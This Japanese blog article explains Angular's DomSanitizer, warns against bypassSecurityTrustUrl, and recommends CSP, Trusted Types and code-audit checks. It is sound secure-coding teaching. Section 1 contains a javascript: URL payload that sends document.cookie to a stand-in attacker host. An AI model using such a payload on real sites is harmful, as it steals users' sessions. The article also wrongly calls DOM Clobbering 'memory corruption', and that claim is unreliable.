Angularの「DomSanitizer」は魔法の盾か、それとも諸刃の剣か
多くのフロントエンドエンジニアが、AngularのDomSanitizerを「XSSを自動で消してくれる便利なツール」程度に捉えているなら、それは極めて危険な兆候だ。我々セキュリティアーキテクトから見れば、DomSanitizerは、ブラウザの強力なDOM APIという「深淵」へのアクセスを制御する、最後にして唯一の防衛線である。
このサービスの本質は、単なる文字列のクレンジングではない。それは、データの「コンテキスト（文脈）」を厳密に管理する型安全なラッパーだ。今日は、この仕組みの裏側を覗き、攻撃者がどこでその「ガードレイル」を突破しようとしているのかを解き明かそう。
—
1. 「安全」を定義するコンテキスト理論
Angularは、データをテンプレートにバインドする際、その値が「どの場所」に挿入されるかを静的に解析し、適切なセキュリティコンテキストを適用する。SafeHtml, SafeScript, SafeUrl, SafeResourceUrl というインターフェースは、単なる型ではない。これらは、「そのデータは信頼できるソースから生成されたという証明書」だ。
例えば、javascript:alert(1) という文字列をそのまま href に渡せば、Angularは即座にそれを unsafe と判定し、ブラウザを保護する。問題は、開発者が「このURLは正しいはずだ」と思い込み、安易に bypassSecurityTrustUrl を呼び出した瞬間に発生する。
なぜ「bypass」という名前なのかを考えろ
API名に bypass（回避）と冠されている意味を深く考えたことがあるか？ これは、Angularが提供するデフォルトの防衛アルゴリズムを意図的に無効化する行為だ。
import { DomSanitizer, SafeUrl } from ‘@angular/platform-browser’;
// 悪意のある攻撃者がユーザー入力にjavascript:スキームを紛れ込ませた場合
const maliciousUrl = ‘javascript:fetch(“https://attacker.com/steal?cookies=” + document.cookie)’;
// 警告：これをそのまま渡すと、フロントエンドのセキュリティは崩壊する
// 監査で見かける最も愚かな実装パターン
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl(maliciousUrl);
このコードをデプロイすることは、家の正面玄関に「どうぞ侵入してください」という看板を掲げるのと同義だ。もし動的なURLを扱う必要があるなら、bypassを使うのではなく、ホワイトリストによる正規表現検証を行い、クリーンなURLのみを通過させるべきである。
—
2. コンテキスト・スイッチとメモリ破壊の兆候
プロンプトインジェクションの文脈でも議論されるように、LLMが生成したコンテンツをAngularアプリケーションに流し込むケースが増えている。ここで注意すべきは、DomSanitizerが「ブラウザのパーサー」を信頼しているという点だ。
もし、将来的にブラウザのDOMパーサーにメモリ破壊の脆弱性（例: DOM Clobberingを通じたprototype汚染）が見つかった場合、DomSanitizerの境界設定は無力化される可能性がある。
実践的な防御：CSP（Content Security Policy）との多層防衛
DomSanitizerだけで戦うのは、素手で盾を持つようなものだ。必ずCSPを併用し、script-src や object-src を厳格に制限せよ。
HTTPレスポンスヘッダーの例
Content-Security-Policy: default-src ‘self’; script-src ‘self’ ‘nonce-random123’; object-src ‘none’;
Angularの Trusted Types APIを活用することも推奨する。これはブラウザネイティブの機能であり、AngularのSanitizerと協調して、DOM APIへの危険な文字列入力をプリセットされたポリシー（Policy）のみに限定できる。
—
3. シニアアーキテクトが実施すべきコード監査のチェックリスト
私がプロジェクトのコードレビューを行う際、必ず以下のクエリ（静的解析ツールやGrep）で脆弱性を炙り出す。
1. bypassSecurityTrust 系のAPI呼び出しを全検索せよ:
- なぜ
bypassが必要なのか？ - その入力ソースはどこか？（ユーザー入力なら即座にリジェクトせよ）
- 入力値に対して、どのようなバリデーション（URLスキームの許可リスト等）が行われているか？
2. [innerHTML] や [outerHTML] の使用箇所:
- これらは
DomSanitizerを経由しても、プロパティの解釈によってはDOM Clobberingの対象になり得る。
3. LLM出力のレンダリング:
- 生成AIからの入力をそのまま
SafeHtmlに変換していないか？ AIの出力は「常に悪意がある」という前提で、サンドボックス化されたiframe内でレンダリングするか、マークダウンパーサーで厳格にタグをフィルタリングすべきだ。
—
結論：防衛とは「疑う」ことの継続
Angularの DomSanitizer は素晴らしいツールだが、それはあくまで「フレームワークが提供するデフォルト設定」に過ぎない。サイバー攻撃者は、あなたのコードが「どこで近道をしたか」を常に嗅ぎ回っている。
真のセキュリティアーキテクトは、フレームワークの機能に依存しきるのではなく、その裏にある通信プロトコルやブラウザのパーシングロジックを理解した上で、「どうなればこの防御は破られるか」という逆算的な思考を持つべきだ。
コードは書くこと以上に、「どう壊されるか」を想像することに時間を割け。それが、真に強固なフロントエンドを構築するための唯一の道だ。
コメント